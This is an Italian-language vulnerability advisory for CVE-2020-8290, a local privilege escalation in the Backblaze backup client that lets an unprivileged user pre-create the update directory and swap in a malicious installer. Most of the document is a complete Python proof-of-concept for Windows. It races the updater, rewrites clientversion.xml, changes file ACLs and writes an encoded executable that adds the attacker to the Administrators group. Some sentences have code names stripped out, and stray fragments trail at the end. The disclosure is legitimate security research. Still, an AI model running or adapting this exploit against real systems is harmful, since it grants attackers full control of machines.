
CVE-2020-8290 – Elevazione dei privilegi in Backblaze
Nome: Elevazione dei Privilegi in Backblaze
CVE: CVE-2020-8290
Scopritore: Jason Geffner
Venditore: Backblaze
Prodotto: Backblaze per Windows e Backblaze per macOS
Rischio: Alto
Data di scoperta: 2020-03-13
Data di pubblicazione: 2020-09-09
Versione corretta: 7.0.0.439
Secondo Wikipedia, Backblaze è
"uno strumento di backup online che consente agli utenti Windows e macOS di eseguire il backup dei propri dati su data center remoti. Il servizio è progettato per aziende e utenti finali, offrendo spazio di archiviazione illimitato e supporto per file di dimensioni illimitate."
Le versioni vulnerabili di Backblaze per Windows e Backblaze per macOS contengono una vulnerabilità ad alto rischio che consente a un utente malintenzionato locale non privilegiato di eseguire un attacco di elevazione dei privilegi (EOP) per diventare SYSTEM/root.
Il processo di servizio del client Backblaze, chiamato bzserv, viene eseguito come SYSTEM su Windows e come root su macOS. Ogni paio d'ore, bzserv esegue un programma chiamato bztransmit (eseguito come SYSTEM/root) per scaricare un file XML chiamato clientversion.xml dal data center di Backblaze per verificare se è disponibile una versione più recente del client Backblaze e, in tal caso, scarica l'installer dell'ultima versione del client dal data center di Backblaze. L'installer scaricato viene salvato nella directory %ProgramData%\Backblaze\bzdata\bzupdates su Windows e nella directory /Library/Backblaze.bzpkg/bzdata/bzupdates o /Library/Backblaze/bzdata/bzupdates su macOS. Una volta scaricato, bztransmit esegue l'installer scaricato come tramite o come tramite .
Su Windows, la directory %ProgramData%\Backblaze\bzdata viene creata al momento dell'installazione in modo tale che gli utenti locali non privilegiati abbiano accesso in lettura e scrittura. Il processo bztransmit crea la directory figlia bzupdates mentre è in esecuzione come SYSTEM, e gli utenti non privilegiati non hanno accesso in lettura o scrittura a questa directory figlia una volta creata. Tuttavia, il processo bztransmit non verifica in modo sicuro l'ACL su questa directory bzupdates se già esisteva, né aggiorna in modo sicuro l'ACL se la directory già esisteva. Pertanto, un utente malintenzionato locale non privilegiato può creare la directory %ProgramData%\Backblaze\bzdata\bzupdates prima dell'installazione di Backblaze, o creare la directory figlia bzupdates sotto %ProgramData%\Backblaze\bzdata dopo l'installazione di Backblaze e prima che bztransmit crei la directory figlia bzupdates. Ciò consente all'attaccante di essere il proprietario della directory e di avere il controllo completo sui file in quella directory. Pertanto, l'attaccante può modificare o sostituire l'eseguibile dell'aggiornamento scaricato dopo che è stato scaricato e prima che venga eseguito, consentendo così l'EOP locale.
Su macOS, la directory /Library/Backblaze.bzpkg/bzdata (o /Library/Backblaze/bzdata) viene creata al momento dell'installazione con permessi 0777 (drwxrwxrwx), in modo tale che gli utenti locali non privilegiati abbiano accesso in lettura e scrittura. Il processo bztransmit crea la directory figlia bzupdates con permessi 0755 (drwxr-xr-x) mentre è in esecuzione come root, e gli utenti non privilegiati non hanno accesso in lettura o scrittura a questa directory figlia una volta creata. Tuttavia, il processo bztransmit non verifica in modo sicuro i permessi su questa directory bzupdates se già esisteva, né aggiorna in modo sicuro i permessi se la directory già esisteva. Pertanto, un utente malintenzionato locale non privilegiato può creare la directory figlia bzupdates sotto /Library/Backblaze.bzpkg/bzdata (o ) dopo l'installazione di Backblaze e prima che crei la directory figlia . Ciò consente all'attaccante di essere il proprietario della directory e di avere il controllo completo sui file in quella directory. Pertanto, l'attaccante può modificare o sostituire l'eseguibile dell'aggiornamento scaricato dopo che è stato scaricato e prima che venga eseguito, consentendo così l'EOP locale.
Video: https://youtu.be/OpC6neWd2aM
Il video sopra mostra due accessi simultanei alla stessa VM: una sessione dell'amministratore a sinistra e una sessione dell'attaccante non privilegiato a destra. Si possono vedere i seguenti passaggi nel video:
Attaccante esegue net localgroup Administrators per mostrare che l'account non privilegiato dell'attaccante (chiamato Attacker) non è membro del gruppo Administrators.python eop.py (il cui codice sorgente è sotto).clientversion.xml, che l'exploit sovrascrive.Attacker al gruppo Administrators.net localgroup Administrators per mostrare che l'account Attacker è stato effettivamente aggiunto al gruppo Administrators. Elevazione dei privilegi locale completata.# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time
def wait_for_filesystem_object(file_path):
if os.path.exists(file_path):
return
parent_directory = os.path.dirname(file_path)
if not os.path.exists(parent_directory):
wait_for_filesystem_object(parent_directory)
buffer = ctypes.create_string_buffer(1024)
bytes_returned = ctypes.c_ulong()
if "." in os.path.basename(file_path):
notify_filter = 8
else:
notify_filter = 2
h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
0x02000000, None)
while not os.path.exists(file_path):
ctypes.windll.kernel32.ReadDirectoryChangesW(
h, ctypes.byref(buffer), 1024, False, notify_filter,
ctypes.byref(bytes_returned), None, None)
ctypes.windll.kernel32.CloseHandle(h)
def get_exe_content():
#
# Returns the content of an EXE that will add the attacker to the
# Administrators group. Based on
# https://github.com/corkami/pocs/blob/master/PE/tiny.asm
#
exe_content = bz2.decompress(base64.b85decode(
"LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
"~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
"p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
exe_content += ("NET LOCALGROUP Administrators " +
f"{os.environ['USERDOMAIN']}\\" +
f"{os.environ['USERNAME']} /ADD").encode()
return exe_content
def am_i_admin():
bufptr = ctypes.c_void_p()
ctypes.windll.netapi32.NetUserGetInfo(
os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
ctypes.byref(bufptr))
if platform.architecture()[0] == "32bit":
usri1_priv = ctypes.string_at(bufptr, 13)[-1]
else:
usri1_priv = ctypes.string_at(bufptr, 21)[-1]
ctypes.windll.netapi32.NetApiBufferFree(bufptr)
return usri1_priv == 2
def poc():
print(f"Running as user: {os.environ['USERNAME']}")
# Ensure that we're running as an unprivileged user.
print("Testing for administrative privileges...")
if am_i_admin():
print("You're already an administrator. Bye!")
return
print("You're a non-administrative user.")
# Raise our process's priority to try to win our race condition.
pid = ctypes.windll.kernel32.GetCurrentProcessId()
h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
ctypes.windll.kernel32.CloseHandle(h)
# Create the bzupdates directory so that we are the owner of it.
bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
if os.path.exists(bzupdates):
print("Backblaze's bzupdates directory was already created. You're " +
"too late!")
return
os.makedirs(bzupdates)
#
# Get the installed hguid value so that we can force an update via
# clientversion.xml.
#
if platform.architecture()[0] == "32bit":
bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
else:
bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
"\\Backblaze\\bzinstall.xml"
if not os.path.exists(bzinstall):
print("Waiting for Backblaze's installer to assign an hguid value.")
wait_for_filesystem_object(bzinstall)
print("Backblaze assigned an hguid value.")
with open(bzinstall) as f:
xml = f.read()
hguid = re.search('hguid="([^"]+)"', xml).group(1)
# Force update via clientversion.xml.
if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
print("Waiting for Backblaze to download clientversion.xml.")
wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
print("clientversion.xml now downloaded.")
with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
xml = f.read()
xml = re.sub('update_hguids_firstchar=".',
f'update_hguids_firstchar="{hguid[0]}', xml)
xml = xml.replace('win32_version="', 'win32_version="1')
f.truncate(0)
f.seek(0)
f.write(xml)
print("clientversion.xml modified to force update next time Backblaze " +
"considers updating.")
# Don't allow SYSTEM to overwrite clientversion.xml.
subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
"/setowner", f"{os.environ['USERNAME']}"])
print()
subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
'/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
print()
#
# Create an executable to replace the downloaded update, which will elevate
# our privileges.
#
exe_content = get_exe_content()
with open(f"{bzupdates}\\eop.exe", "wb") as f:
f.write(exe_content)
#
# Wait for update to download and overwrite it with attacker's executable.
# In this PoC we use iexpress.exe (built into Windows) to create an EXE that
# adds the attacker to the Administrators group, but an attacker could
# supply any executable content they like.
#
exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
print(f"Waiting for Backblaze to download {exe}.")
wait_for_filesystem_object(f"{bzupdates}\\{exe}")
os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
print(f"{exe} downloaded and replaced.")
print(f"{exe} should now get executed as SYSTEM.")
for i in range(5):
if am_i_admin():
print("Success! You're now an administrator!")
return
time.sleep(1)
print("Exploit failed. We probably lost the race-condition when " +
f"overwriting {exe}.")
if __name__ == "__main__":
poc()
Backblaze ha corretto questa vulnerabilità nella versione 7.0.0.439 di Backblaze.
Questa vulnerabilità è stata scoperta e segnalata a Backblaze da Jason Geffner tramite HackerOne.
2020-03-13 - Vulnerabilità scoperta e segnalata a Backblaze tramite HackerOne
2020-03-26 - HackerOne ha verificato la vulnerabilità
2020-04-22 - Assegnato CVE-2020-8152
2020-04-22 - Rilasciata la build 7.0.0.439
2020-04-22 - Mitigazione della vulnerabilità verificata
2020-04-23 - Richiesta di divulgazione pubblica
2020-09-09 - Divulgazione pubblica
2020-12-22 - Assegnazione CVE cambiata in CVE-2020-8290
SYSTEMShellExecute()rootsystem()bzupdates/Library/Backblaze/bzdatabztransmitbzupdatesbzupdates